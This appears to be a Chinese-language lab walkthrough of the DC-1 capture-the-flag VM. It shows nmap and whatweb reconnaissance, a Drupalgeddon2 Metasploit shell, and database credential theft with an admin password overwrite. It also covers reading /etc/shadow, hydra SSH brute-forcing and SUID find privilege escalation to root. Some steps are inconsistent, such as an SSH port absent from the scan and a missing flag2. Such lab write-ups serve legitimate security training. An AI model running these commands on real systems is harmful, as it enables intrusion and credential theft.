DC-1靶场渗透测试-suid提权-Drupal 7-GetShell Kali-whatweb-nmap-arp使用

DC-1靶场渗透测试:SUID提权与Drupal 7 GetShell实战

涉及工具 :Kali Linux、whatweb、nmap、arp-scan、dirsearch、msfconsole、hydra
核心目标:完成DC-1靶场全流程渗透,获取5个flag并通过SUID提权至root权限

相关靶机推荐

一、准备靶机

1.1 下载与解压

解压后得到以下文件,包含虚拟机镜像及配置信息:

图1-1 靶机解压后文件列表

1.2 导入虚拟机

  1. 打开VMware,选择「文件」→「打开」,加载靶机的.vmx文件;
  2. 导入过程中可能出现兼容性报错,点击「重试」即可继续 ,无需额外配置:

    图1-2 导入报错提示

    图1-3 点击「重试」继续导入
  3. 导入完成后,虚拟机列表将显示「DC-1」,此时靶机准备就绪:

    图1-4 靶机导入成功

二、局域网信息收集

靶机IP未知,需先通过扫描工具识别局域网内存活主机,定位DC-1的IP地址。

2.1 Nmap主机存活扫描

Nmap是网络发现核心工具,-sn参数仅扫描主机存活(不扫描端口,避免触发防护):

bash 复制代码
# 192.168.20.0/24需替换为本地局域网段(通过ip addr查看Kali网卡信息)
nmap -sn 192.168.20.0/24

扫描结果将显示局域网内所有存活主机的IP与MAC地址:

图2-1 Nmap主机存活扫描结果

2.2 ARP-Scan精准定位

arp-scan通过ARP协议扫描(局域网内无路由转发,结果更精准),可直接关联IP与MAC地址:

bash 复制代码
arp-scan -l  # -l:扫描本地路由对应的网段(无需手动指定)


图2-2 arp-scan扫描结果

确认靶机IP(关键步骤)

  1. 打开DC-1虚拟机「设置」→「网络适配器」→「高级」,查看靶机MAC地址(示例:00:0C:29:AC:35:D5);

    图2-3 靶机MAC地址(VMware配置)
  2. 对比arp-scan结果,找到对应MAC地址的IP:192.168.20.153 (后续渗透均基于此IP);

    图2-4 靶机IP确认

三、深度信息收集

定位靶机IP后,需进一步探测端口、服务版本、CMS类型,寻找渗透突破口。

3.1 Nmap端口与系统探测

-O参数开启操作系统版本探测,扫描靶机开放端口及对应服务:

bash 复制代码
nmap -O 192.168.20.153

扫描结果分析

plaintext 复制代码
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-13 21:44 CST
Nmap scan report for 192.168.20.153
Host is up (0.00027s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.22 ((Debian))
MAC Address: 00:0C:29:AC:35:D5 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.59 seconds

关键信息

  • 仅开放80端口(HTTP服务),运行Apache 2.2.22(Debian系统)
  • 无其他端口开放,渗透突破口集中在Web服务。

3.2 WhatWeb识别Web技术栈

WhatWeb自动检测Web技术栈(CMS、编程语言、服务器等),-v开启详细模式:

bash 复制代码
whatweb -v 192.168.20.153


图3-1 WhatWeb扫描结果

核心信息汇总(表格优化对齐)

关键信息类别 具体内容
Web服务器版本 Apache 2.2.22
操作系统环境 Debian Linux(Apache/2.2.22 (Debian))
内容管理系统(CMS) Drupal 7(官方链接:http://drupal.org
前端技术 JQuery(Script类型:text/javascript)
后端编程语言及版本 PHP 5.4.45-0+deb7u14(X-Powered-By:PHP/5.4.45-0+deb7u14)

3.3 访问Web页面与Wappalyzer验证

  1. 浏览器访问http://192.168.20.153,确认Drupal 7默认页面:

    图3-2 Drupal 7默认页面
  2. 安装浏览器扩展「Wappalyzer」,二次验证技术栈(与WhatWeb结果一致):

    图3-3 Wappalyzer验证结果

四、渗透环节:GetShell与Flag获取

4.1 目录FUZZ(Dirsearch)

Dirsearch暴力破解Web路径,寻找隐藏目录/配置文件:

bash 复制代码
# -u:目标URL;-e*:探测所有常见后缀(php、txt、html等);--full-url:显示完整路径
dirsearch -u http://192.168.20.153 -e* --full-url

关键结果

plaintext 复制代码
[22:02:41] 200 -  768B  - http://192.168.20.153/COPYRIGHT.txt  # 确认Drupal版本一致性


图4-1 Dirsearch扫描结果

4.2 Metasploit利用Drupal漏洞GetShell

Drupal 7存在Drupalgeddon 2(SA-CORE-2018-002) 远程代码执行漏洞(漏洞等级:Excellent),可直接GetShell。

步骤1:启动MSF控制台

bash 复制代码
msfconsole  # 启动Metasploit框架


图4-2 启动MSF控制台

步骤2:搜索并加载漏洞模块

bash 复制代码
search Drupal  # 筛选Drupal相关漏洞模块
use exploit/unix/webapp/drupal_drupalgeddon2  # 加载Drupalgeddon 2漏洞模块


图4-3 搜索Drupal漏洞模块

步骤3:配置模块参数

bash 复制代码
show options  # 查看模块必填参数
set RHOSTS 192.168.20.153  # 设置靶机IP(核心参数)
show options  # 确认参数配置(LHOST为Kali本地IP,自动填充)


图4-4 配置漏洞模块参数

图4-5 确认RHOSTS设置

步骤4:执行攻击与获取Shell

bash 复制代码
exploit  # 启动攻击(成功后获取Meterpreter会话)
shell    # 从Meterpreter切换到目标系统终端


图4-6 攻击成功获取Meterpreter会话

图4-7 切换为系统shell

步骤5:完善交互Shell(关键优化)

默认shell功能有限(无命令补全、上下键历史),通过Python生成标准bash:

bash 复制代码
python -c 'import pty; pty.spawn("/bin/bash")'  # 生成交互式bash
export TERM=xterm  # 可选:启用终端颜色和全屏支持


图4-8 完善交互shell

4.3 获取Flag1(数据库配置文件)

Flag1提示:"所有优秀的CMS都需要一个配置文件,你也不例外"

Drupal 7核心配置文件路径:/var/www/sites/default/settings.php(存储数据库账密等关键信息):

bash 复制代码
cat /var/www/sites/default/settings.php  # 读取配置文件


图4-9 Flag1位置

图4-10 查看配置文件内容

数据库关键信息(加粗突出)

php 复制代码
$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupaldb',  # 数据库名
      'username' => 'dbuser',     # 数据库用户名
      'password' => 'R0ck3t',     # 数据库密码(关键)
      'host' => 'localhost',      # 数据库地址(本地)
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

4.4 数据库操作与修改Admin密码(获取Flag2)

步骤1:登录MySQL数据库

使用配置文件中的账密登录(-p后直接跟密码,无空格):

bash 复制代码
mysql -udbuser -pR0ck3t  # -u:用户名;-p:密码


图4-11 登录MySQL数据库

步骤2:查询Drupal用户表

Drupal用户信息存储在 drupaldb.users 表,密码采用Drupal专用哈希加密:

sql 复制代码
use drupaldb;                  # 切换到drupal数据库
desc users;                    # 查看users表结构(确认密码字段)
select name, pass from users;  # 查询管理员账号(name=admin)


图4-12 查询users表中的管理员密码(加密)

步骤3:生成Drupal密码哈希

Drupal密码无法直接解密,需生成新哈希覆盖原有密码(使用Drupal自带脚本):

bash 复制代码
cd /var/www  # 切换到Drupal根目录
./scripts/password-hash.sh admin123  # 生成密码admin123的哈希

生成的哈希(复制备用):
$S$DuaWUZ2agHsa8/YwbgZg6GtL7HaADOdJllpPSAtP43feHXkNK2m8

图4-13 生成新密码哈希

步骤4:更新Admin密码

sql 复制代码
# 覆盖admin用户的密码(替换为新哈希)
update users set pass = "$S$DuaWUZ2agHsa8/YwbgZg6GtL7HaADOdJllpPSAtP43feHXkNK2m8" where name = 'admin';


图4-14 覆盖管理员密码

4.5 登录Drupal后台获取Flag3

  1. 浏览器访问 http://192.168.20.153/user,使用账号admin、密码admin123登录;
  2. 登录后在「Dashboard」页面找到Flag3:

    图4-15 Drupal后台Flag3

Flag3提示:"特殊权限(Special PERMS)将有助于找到 passwd 文件 ------ 但你需要使用 -exec(find 命令参数)来运行相关命令,进而获取 shadow 影子密码文件内容"

4.6 爆破Flag4用户(Hydra)

步骤1:查看/etc/shadow文件(确认目标用户)

/etc/shadow 存储用户密码哈希,发现存在 flag4 用户:

bash 复制代码
cat /etc/shadow  # 读取影子密码文件


图4-16 /etc/shadow中的flag4用户

步骤2:Hydra爆破SSH密码

DC-1开放SSH服务(22端口),使用Hydra爆破flag4用户密码:

bash 复制代码
# -l:指定用户名(flag4);-P:密码字典(Kali自带rockyou字典);ssh://目标IP
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.20.153


图4-17 Hydra爆破成功(密码:orange)

步骤3:SSH登录Flag4用户与获取Flag4

bash 复制代码
ssh flag4@192.168.20.153  # SSH登录flag4用户
# 输入密码orange,登录后执行:
cat flag4.txt  # 查看当前目录的flag4.txt

Flag4提示:"你能使用同样的方法来找到或访问根目录(root)下的目标标识文件(flag)吗?或许可以。但这可能没那么简单。不过,也说不定其实很简单呢?"

图4-18 获取Flag4

五、SUID提权至Root(获取最终Flag)

5.1 SUID权限原理

SUID(Set User ID)是Linux特殊权限:

  • 当用户执行带有SUID权限的文件时,将临时获得文件所有者的权限
  • 若文件所有者为root,则执行该文件时,用户临时拥有root权限(提权核心原理)。

5.2 查找SUID权限文件

通过find命令搜索系统中所有带SUID权限的文件(-perm -u=s表示用户权限含SUID):

bash 复制代码
# /:搜索根目录;-perm -u=s:筛选SUID权限;-type f:仅文件;2>/dev/null:忽略报错
find / -perm -u=s -type f 2>/dev/null


图5-1 查找SUID文件(find命令含SUID权限)

关键发现/usr/bin/find 带有SUID权限,且所有者为root------可通过find -exec参数执行命令,临时获得root权限。

5.3 利用Find提权至Root

find -exec 参数:找到文件后执行指定命令,结合SUID权限执行/bin/sh,直接获取root shell:

bash 复制代码
# 任意找一个存在的文件(如index.php),通过-exec执行/bin/sh
find / -name index.php -exec "/bin/sh" \;

执行后验证权限(已切换为root):

bash 复制代码
whoami  # 输出root,确认提权成功


图5-2 利用find提权至root

5.4 获取最终Flag(root目录)

root目录下的thefinalflag.txt为最终目标:

bash 复制代码
cd /root  # 切换到root目录
cat thefinalflag.txt  # 查看最终flag


图5-3 最终Flag内容

最终Flag提示:"做得好!!!希望你喜欢这次体验,并且学到了一些新技能。你可以通过 Twitter 联系我(@DCAU7),告诉我你对这段小旅程的看法"

六、渗透总结(表格优化)

阶段 核心操作 工具/漏洞 目标成果
信息收集 主机存活扫描、端口探测、CMS识别 nmap、arp-scan、whatweb 定位靶机IP(192.168.20.153)、识别Drupal 7
GetShell 利用Drupalgeddon 2漏洞远程代码执行 msfconsole 获取系统shell(www-data权限)
权限提升(1) 读取数据库配置、修改Drupal管理员密码 MySQL、Drupal密码脚本 登录后台获取Flag3
权限提升(2) Hydra爆破SSH、SUID提权(find命令) hydra、find 获得root权限
目标达成 获取5个Flag(含最终root目录Flag) ------ 完成DC-1全流程渗透

相关推荐
vortex51 天前
RDP 启用多用户会话(当前用户无感知)
windows·网络安全·渗透测试
独行soc2 天前
2025年渗透测试面试题总结-234(题目+回答)
网络·python·安全·web安全·渗透测试·1024程序员节·安全狮
交个_朋友4 天前
HTB Editorial writeup(sudo GitPython RCE)
渗透测试·oscp·htb
-曾牛5 天前
网络安全常见的框架漏洞
安全·web安全·网络安全·渗透测试·文件包含·漏洞复现·框架漏洞
白帽子黑客杰哥5 天前
湖湘杯网络安全技能大赛参与形式
数据库·web安全·渗透测试·安全演练·湖湘杯·实战演练
独行soc9 天前
2025年渗透测试面试题总结-224(题目+回答)
网络·python·安全·web安全·adb·渗透测试·安全狮
白帽子黑客罗哥9 天前
常见Web安全漏洞全解析:从原理到防御的实战指南
数据库·web安全·渗透测试·漏洞利用·权限提升
-曾牛10 天前
深入理解XXE外部实体注入漏洞:原理、利用与防护
网络·安全·网络安全·渗透测试·xxe·漏洞原理·owaspf
缘友一世13 天前
清除入侵痕迹(win&Linux&web)
网络安全·渗透测试·痕迹清除